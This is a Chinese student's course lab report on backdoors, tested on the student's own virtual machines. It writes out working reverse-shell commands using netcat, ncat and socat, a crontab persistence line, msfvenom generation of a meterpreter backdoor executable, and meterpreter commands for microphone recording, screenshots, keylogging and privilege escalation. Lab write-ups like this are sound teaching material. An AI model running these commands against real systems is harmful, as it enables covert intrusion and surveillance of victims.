20155208徐子涵《网络对抗》Exp2 后门原理与实践

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:当我们在非官方网站上下载软件时,后门极有可能会进入我们的系统,或者我们的电脑插入陌生可疑的U盘时,也有可能会让某些后门乘虚而入。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:可能会通过反弹和windows计划任务(这个是看老师的实验指导后知道的)。

(3)Meterpreter有哪些给你印像深刻的功能?

答: 我觉得让我印象最深刻的是操纵对方的摄像头进行拍照和录像(但是我的虚拟机里没有摄像头驱动,没有成功实现)。

(4)如何发现自己有系统有没有被安装后门?

我觉得可以通过查看后台进程,看看有没有可疑的进程。

实验内容

(1)使用netcat获取主机操作Shell,cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

Linux获得Windows Shell

  • 首先通过ipconfig指令获取windows主机IP

  • 然后使用nc指令监听5208端口:

    nc -l -p 5208

  • 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5208端口:

  • 连接成功如下,可以运行指令

20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

一、使用netcat获取主机操作Shell,cron启动

cron:

cron是一个linux下 的定时执行工具 ,可以在无需人工干预的情况下运行作业。

crontab -u //设定某个用户的cron服务,一般root 用户在执行 这个命令的时候需要此参数

crontab -l //列出某个用户cron服务的详细内容

crontab -r //删除 没个用户的cron服务

crontab -e //编辑某个用户的cron服务
  • 在windows上打开cmd,并通过ncat开放端口5208

  • 在linux上反弹连接win:nc 192.168.88.130 5208 -e /bin/sh

  • 在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

    20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

  • crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行

  • 在最后一行添加55 * * * * /bin/netcat 192.168.88.130 5208 -e /bin/sh,意思是在每个小时的第37分钟反向连接Windows主机的5208端口,设置成37的原因是我当时的时间是20点53,为了能立马看到效果,所以我将时间设置在了两分钟以后:

    20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

  • 当时间到了20点55时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了55分时会立马显示出来):

    20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

使用socat获取主机操作Shell, 任务计划启动

  • 下载安装socat软件

  • 为其配置环境变量

  • 在windows上开放5208端口,并把cmd的stderr重定向到stdout

  • socat tcp-listen:5208 exec:cmd,pty,stderr

    在linux开启监听:socat - tcp:192.168.88.130:5208

  • 成功连接到kali虚拟机如图:

    20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 输入指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.130 LPORT=5208 -f exe > 20155208_backdoor.exe

生成后门程序如图:

20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

  • 通过nc指令将生成的后门程序传送到Windows主机上

  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

    20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

  • 设置完成后,执行监听:

    20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

  • 然后打开Windows上的后门程序

  • 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

    20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频:

    20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

  • 使用webcam_snap指令可以使用摄像头进行拍照

  • 使用webcam stream指令可以使用摄像头进行录像

    (由于我的虚拟机中没有摄像头的驱动,故没有完成这一环节的操作,非常遗憾。)

  • 使用screenshot指令可以进行截屏:

    20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

    20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

    20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

先使用getuid指令查看当前用户,使用getsystem指令进行提权

实验过程中遇到的问题及解决

问题: 使用socat的时候连接不成功。

20155208徐子涵《网络对抗》Exp2 后门原理与实践-LMLPHP

解决方式: 出现这一问题的原因是在设置管理工具中的触发器时出现了错误。

实验心得总结

经过了这次实验,让我对后门的概念有了一定的理解,也让我对网络攻防产生了更大的兴趣,从另一方面看,我们在日常使用计算机的时候,也要时刻注意不能让后门程序乘虚而入,时刻关注自己的计算机安全。

04-25 05:57